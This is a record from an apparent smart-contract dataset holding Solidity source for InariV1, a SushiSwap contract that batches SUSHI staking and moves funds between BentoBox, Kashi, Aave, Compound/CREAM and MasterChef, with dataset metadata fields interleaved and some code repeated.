function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | depositToMasterChefv2 | function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
| /***********
CHEF HELPERS
***********/ | NatSpecMultiLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
2189,
2331
]
} | 11,774 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
